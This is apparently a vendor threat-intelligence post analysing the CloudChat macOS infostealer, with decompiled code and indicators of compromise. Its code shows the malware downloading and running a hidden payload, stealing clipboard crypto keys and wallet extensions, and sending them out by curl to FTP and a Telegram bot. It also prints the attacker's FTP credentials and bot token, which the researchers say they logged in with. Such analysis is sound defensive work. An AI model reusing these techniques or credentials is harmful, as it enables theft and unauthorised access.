Skip to content
cloudchat infostealer: how it works, what it does
Blog Threat Intelligence CloudChat ...

CloudChat Infostealer: How It Works, What It Does

On April 3, 2024,  we came across an undetected file that had been uploaded to the online virus-checker VirusTotal that day named Clip. Right off the bat, we noticed that the file had some red flags that warranted further investigation. 

Most notably, readable strings in the file referenced Chrome crypto wallet extensions. This is common in infostealers such as Amos, which look to steal wallets and other valuable information from infected victims. Another red flag: It referenced uploading a file via FTP to 45.77.179.89/upload/; legitimate applications don’t normally use FTP for file transfers. 

We were able to grab the file’s DMG— CloudChat.dmg—from VirusTotal. CloudChat’s website says it's a messaging platform that “provides you with a safe social life service...chat with friends around the world and share your unique and interesting perspectives...use pictures and videos to share your life in the circle of friends or the world...let the world applaud you without worrying about privacy being leaked.” 

CloudChat’s website has download links for different platform versions of its app. We downloaded the macOS version to compare it with the one we found on VirusTotal. The two files had matching sha256 hashes. The codesign information for the main CloudChat Mach-O file showed that it was signed ad-hoc and was compiled for x86_64. 

codesign_shadowAnalyzing the Application

Preparing to Download

We mounted the DMG and transferred the CloudChat app bundle to our /Applications folder. When we launched that app, we observed the CloudChat binary running ps -ef,  which appears to be looking for the file .Safari_V8_config; this check originates from the linked libCloudchat.dylib. 

0024fb26      commandStruct, rsi, rdi = _os/exec.Command(1, 1, &_"-ef", &var_18, &_"ps", 2, arg3)
0024fb2b      char* commandOutput
0024fb2b      int64_t rdx
0024fb2b      int64_t rsi_1
0024fb2b      int64_t* rdi_1
0024fb2b      commandOutput, rdx, rsi_1, rdi_1 = _os/exec.(*Cmd).Output(rdi, rsi, commandStruct, arg3)
0024fb33      if (rdi_1 == 0)
0024fb48      void var_38
0024fb48      char* rax_2
0024fb48      int16_t* rdx_1
0024fb48      int128_t* rsi_2
0024fb48      rax_2, rdx_1, rsi_2 = _runtime.slicebytetostring(rdi_1, rsi_1, rdx, &nullptr->magic:2, &var_38, commandOutput, arg3)
0024fb61      void* rax_3  // .Safari_V8_configre
0024fb61      rax_3.b = _strings.Index(&nullptr->ncmds:1, rsi_2, rdx_1, ".Safari_V8_configre", rax_2, commandOutput, arg3) s>= 0
0024fb69      return rax_3

The output of the ps -ef command is then parsed, using the strings.Index function, to look for the string .Safari_V8_configure. If that process is not running, the CloudChat binary will then also curl http://ip-api.com/json, to check the geolocation of the current host IP.

ipapi_shadowIf the IP is located in China, the downloading will stop.  This IP check is handled inside the main.init function:

0024fa00      rax, rcx_1, rsi_2, rdi_2 = _main.getIPInfo(rdi_1, rsi_1, arg2, zmm15)
0024fa20      if (rcx_1 == 0 && (arg1 != 5 || (arg1 == 5 && *rax != 'Chin') || (arg1 == 5 && *rax == 'Chin' && *(rax + 4) != 'a')))

Inside the get.IPInfo function, we see the ip-api url passed as a string to the _net/http.(*Client).Get function. 

0024fc00      rax_2, rcx, zmm15_1 = _net/http.(*Client).Get(rdi, rsi, rdx, 0x16, rax_1, "http://ip-api.com/json", arg3)
0024fc77      var_48.q = *rax
0024fc7c      var_48:8.q = *(rax + 8)
0024fc81      var_58.q = "http://ip-api.com/json”"
0024fc86      var_58:8.q = rcx
0024fca3      return var_48.q  {"__TEXT"}

Downloading and Executing

If the IP is not located in China, the app will download a file called clip from 45.77.179.89/static and rename it .Safari_V8_config. First, it will construct the download destination by calling the user.current function, extract the Home directory from the user structure, and concatenate the string .Safari_V8_config

0024fa26      int128_t* userStruct = _os/user.Current(rdi_2, rsi_2, arg2)
0024fa2e      int64_t userHomeDir
0024fa2e      int64_t r10_1
0024fa2e      if (arg1 == 0)
0024fa37      userHomeDir = userStruct[4].q
0024fa3b   r10_1 = *(userStruct + 0x48)
0024fa2e      else
0024fa30      r10_1 = 0
0024fa33      userHomeDir = 0
0024fa60      void* downloadPath
0024fa60      int64_t rdx_1
0024fa60      void* rbx_1
0024fa60      int64_t rsi_3
0024fa60      downloadPath, rdx_1, rbx_1, rsi_3 = _runtime.concatstring3(&_/, 1, userHomeDir, r10_1, ".Safari_V8_config", 0x11, userHomeDir, arg2)

This concatenated string path is then passed to the main.downloadFile() function, which will reach out to the IP address and download a file called Clip. 

If that download is successful, the binary is renamed .Safari_V8_config, to hide it. Its permissions are changed with os.chmod() function. The quarantine flag is also removed with xattr -d com.apple.quarantine. That done, the file is executed using the main.executeFileInBackground() function.

0024fa81      downloadResult = _main.downloadFile(rbx_1, rsi_3, rdx_1, downloadPath, "http://45.77.179.89/static/clip", 0x1f, arg2)
0024fa89      if (downloadResult == 0)
0024fa9a      int64_t rsi_4
0024fa9a      int64_t rdi_4
0024fa9a      downloadResult, rsi_4, rdi_4 = _os.chmod(downloadPath, rbx_1, arg2)
0024faa3      if (downloadResult == 0)
0024faaf      downloadResult = _main.executeFileInBackground(rdi_4, rsi_4, downloadPath, rbx_1, arg2)

Execution of xattr and the downloaded file are both handled by the executeFileInBackground()  function. 

002501f9      var_38:8.q = 2
00250209      var_38.q = &data_250bc8  // -d
0025020e      var_28:8.q = 0x14
0025021e      var_28.q = "com.apple.quarantine"
00250228      var_18:8.q = arg4
00250232      var_18.q = downloadPath
0025026b      int64_t* xattrCommand = _os/exec.Command(0, 0, _os/exec.(*Cmd).Run(_os/exec.Command(3, 3, arg4, &var_38, "xattr", 5, arg5), arg5), nullptr, downloadPath, arg4, arg5)

Communicating

The .Safari_V8_config Mach-O is a hidden file created in the Users directory. The file is actually the same as the original file Clip that we found on VirusTotal.

It gathers the host and user information and uses a Telegram bot API token to send the hostname and its OS version along with a message that the machine is on. 

This is handled inside the main.executeOnce function. Using the main.getHostnameAndUsername function, it uses the concatstring4 function to prepare the message for communication via Telegram. 

011007af      hostname_1, username_1, rdx, rdi = _main.getHostnameAndUsername(arg4)
011007f2      int128_t* rax_1
011007f2      int64_t rdx_1
011007f2      int64_t* rbx
011007f2      int64_t rsi_1
011007f2      int128_t zmm15
011007f2      rax_1, rdx_1, rbx, rsi_1, zmm15 = _runtime.concatstring4(hostname_1, arg3, rdx, 0x10, &_-, 1, &Machine online:, username_1, rdi, arg4)

To actually send a notification post to Telegram, it runs the fmt.Sprintf function to replace a template with the values captured from the target machine. 

01101e80          rax_6, rdx_4, _"-c"_1 = _fmt.Sprintf(3, 3, rdx_3, &var_60, &curl -m %d -s -X POST -H.../api.telegram.org/bot%s/sendMessage\', 0x6e, arg7)
01101e85          int128_t _"-c" = _"-c"_1
01101e8b          int128_t _"-c"_2 = _"-c"_1
01101e91          _"-c":8.q = 2
01101ea1          _"-c".q = &_-c
01101ea6          _"-c"_2:8.q = 0x6e
01101eab          _"-c"_2.q = rax_6
01101ecc          int64_t rdx_5
01101ecc          int64_t rsi_3
01101ecc          rdx_5, rsi_3 = _os/exec.(*Cmd).Run(_os/exec.Command(2, 2, rdx_4, &_"-c", &sh, 2, arg7), arg7)

Looking for Crypto Keys

From here, .Safari_V8_config takes over and starts to use pbpaste to look for potential crypto private keys being copied to the clipboard. If it thinks it has found such a key, it will upload it to the same Telegram bot. 

privatekey_shadowThis search is handled by the monitorClipboard function. It uses the clipboard.readAll() function to obtain clipboard contents in a while loop, which sleeps after execution. It then branches to the main.isValidPrivateKey() function. 

01100660      while (true)
01100660      void* clipboardContents_1
01100660 int64_t rdx
01100660 int64_t rsi_1
01100660 clipboardContents_1, rcx_4, rsi_1, rdi_4 = _github.com/atotto/clipboard.readAll(rdi, rsi, rdx, arg2)
01100665 cond:0_1 = rcx_4 == 0

The main.isValidPrivateKey() function returns a Boolean value that communicates whether or not it observes a crypto private key matching some regex statements. 

01101a98      int128_t* bitCoinPrivateKey = _regexp.MustCompile(&_^0x[0-9a-fA-F]{64}$, 0x13, arg3)
01101aae      int128_t* var_20 = _regexp.MustCompile(&_^[0-9a-fA-F]{64}$, 0x11, arg3)
01101ac0      int128_t* rax_2
01101ac0      int128_t zmm15
01101ac0      rax_2, zmm15 = _regexp.MustCompile(&_^[0-9a-zA-Z]{52}$, 0x11, arg3)

This queries for three different private keys:

  • Bitcoin
  • Tron
  • Ethereum

Looking for Chrome Wallet Plugins

As we mentioned, the binary contains a list of popular Google Chrome crypto wallet extensions. If it determines you have one installed, it will copy the extension folder to a folder in the temp directory. 

This is handled by first creating a target to the Chrome directory inside the executeOnce function.

011008ec      userHomeDir, rdx_3, rsi_3, rdi_3, userHome_1 = _os.Getenv(rdi_2, rsi_2, "HOME", 4, arg4)
011008f1      int128_t userHome = userHome_1
011008fa      int128_t userHome_2 = userHome_1
01100903      userHome:8.q = 4
0110090b      userHome.q = userHomeDir
01100913      userHome_2:8.q = 0x2a
01100926      userHome_2.q = "Library/Application Support/Google/Chrome/"
01100940      int64_t ChromeTargetDir
01100940      int64_t rdx_4
01100940      ChromeTargetDir, rdx_4 = _path/filepath.join(rdi_3, rsi_3, rdx_3, 2, &userHome, 2, arg4)

Once it builds the path to the user’s Chrome directory, it passes this path to the copyAndCompressWalletPlugins function. 

The binary targets the profiles stored in ~/Library/Application Support/Google/Chrome/, looking for a match of the string “Default” and then targets the Extensions directory within. 

01100c1a      if (ProfileDir s>= 7)
01100c22 // "Profile"
01100c22 ProfileDir = "Profile")
01100c1a else
01100c1c rax_6 = 0
01100c35 if (rax_6 != 0)
01100c37 rdx_2 = true
01100c35 else
01100c4f int32_t* rax_8 = (*(rcx_1 + 0x30))()
01100c65 if (ProfileDir != 7 || (ProfileDir == 7 && *rax_8 != 'Defa') || (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w != 'ul'))
01100c70 rdx_2 = false
01100c65 if (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w == 'ul')
01100c6b rdx_2 = *(rax_8 + 6) == 't'

From there, it archives the files it finds with tar before using curl to upload that archive to an FTP server. This is handled inside the main.compressLogsdata function. First, it creates a path for tar:

01101330      tarPath, zmm15_1 = _fmt.Sprintf(2, 2, rdx, &var_30, &_/tmp/%s-%s.tar.gz, 0x11, arg7)
0110133d      int64_t var_a8 = 0x11

Then it executes the tar command.

return _os/exec.(*Cmd).Run(_os/exec.Command(5, 5, rdx_2, &tar Arg, "tar”)

Once the collected files have been archived, a path to this archive file is passed to the uploadLogsdata function. This creates the curl command and uploads the archived plugins to an FTP server, and sends a notification to the Telegram chat. 

01101702      char* const var_20 = &data_11071a0  // FTP://45.77.179.89/upload/
0110172b      void* rax_11
0110172b      int64_t rdx_3
0110172b      int128_t zmm15_2
0110172b      rax_11, rdx_3, zmm15_2 = _os/exec.(*Cmd).Run(_os/exec.Command(6, 6, rdx_2, &_-T, "curl", 4, arg9), arg9)

Using the sendTelegramNotification function, which leverages the Telegram APIs, the result message is created and sent to the Telegram chat

01101900      uploadString, rdx_4, rsi, zmm15_4 = _fmt.Sprintf(3, 3, rdx_6, &var_a0, "%s-%s, uploaded successfully for plugins: %s", 0x2c, arg9)
01101911      int128_t zmm15_5 = _main.sendTelegramNotification(0xa, rsi, rdx_4, &_7029439043, uploadString, 0x2c, arg9, zmm15_4)

We can see this communication by looking at executed processes. 

CloudChat Infostealer: The Exploit Evolves

When we first began analyzing CloudChat, .Safari_V8_config was the only file it downloaded. However, after a few days, a new version appeared, which downloaded another file, .applications_config, which is hidden in the same directory as .Safari_V8_config.

The file .applications_config runs the command uname -s -r -m. This is used to grab the machine hardware name, OS system release,  and OS system name. 

uname_shadowAfter leaving the process running for close to an hour, we observed some new activity, in which .applications_config was executing the command ls -la on the /Desktop and /Downloads folders. Adding the flags -la to the ls command provides detailed information such as permissions, number of links, owner, group, file size, and modification date about the files in a directory. It will also display files that are normally hidden. There was also another curl of a different IP geolocation website, ipinfo.(.)io, which was different from the one used at the very beginning when CloudChat first executed. 

We then observed curl uploading a hidden copy of the applications_config file that we had copied earlier from its original path to the desktop. The upload was directed at the domain bashuploads(.)com. Interestingly, the upload occurred twice, and the first time the URL was misspelled (bashuopload(.)com). This seemingly human typo could indicate some sort of hands-on keyboard functionality. 

The website bashupload(.).com states it is used to “upload files from command line to easily share between servers.” This is strange because the malware already had the infrastructure necessary to upload the wallet extension files.

After observing this last activity, the server at 45.77.179.89, which had been used for uploads and downloads, stopped functioning. A quick nmap query showed that the server was down.  When running the malware again, it would attempt to download the first stage but couldn’t, which stopped any further activity. The malware is still completely undetected on VirusTotal at the time of writing. 

CloudChat Infostealer: Digging Deeper

Looking at the FTP command used to upload the wallet extension files, we noticed that the username “mars” and the password “LnW4BhIdjOsVZzK0” both appeared in plaintext. We were able to connect to the FTP server and establish that it was in passive mode. Either we were able to see only the single file uploaded from our machine, or the username and password are unique. 

SSH was also open on the server. The same username and password allowed us to connect briefly, before we were kicked off with a message stating that we were permitted to use FTP only. 

The Telegram bot API token is also interesting: With it, we could receive information about the bot, such as its name and the username “bwa1e3”. We also found, from the getChat command, a user named “Jennifer Walker” and their username “Jenniferaaa”. More than likely, this is a fake name being used by the real user receiving these bot messages. 

When we killed the CloudChat process, the .Safari_V8_config and .application_config processes continued to run. Relaunching CloudChat did not relaunch Safari_V8_config, probably due to the command ps -ef being run to check on running processes. 

Due to the nature of this malware, this is an ongoing analysis, and we will update this post with any additional relevant information that we uncover.

CloudChat Infostealer: Indicators of Compromise

Files (Sha256) 

  • Ef1c7d6651996a3dccee755630add52c3f04a6e474ad15a999e132cafbf83f18:  Clip/.Safari_V8_config
  • Db3ec2bb2a18289b67cd15598b1bcf80e5712c927c90f0d9c55c728a99789162: Clip/.Safari_V8_config
  • F63dd41f2e7d24637b4aad89cdece0c011a3b8082a46f97642df85f9a28c72f6:  .applications_config
  • 463af62034c5a05ab3cf2eba09e36955328028b62ba9ee894cdd8e50e2d1af81: CloudChat.dmg

URLs

  • FTP://45.77.179.89/upload/
  • http://45.77.179.89/static/clipa
  • http://45.77.179.89/static/application_config
  • https://api.telegram.org/bot7069293498:AAGH47J19fkbGT-56jkgWtvMCYRZpQxePwE/sendMessage

About Kandji

Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.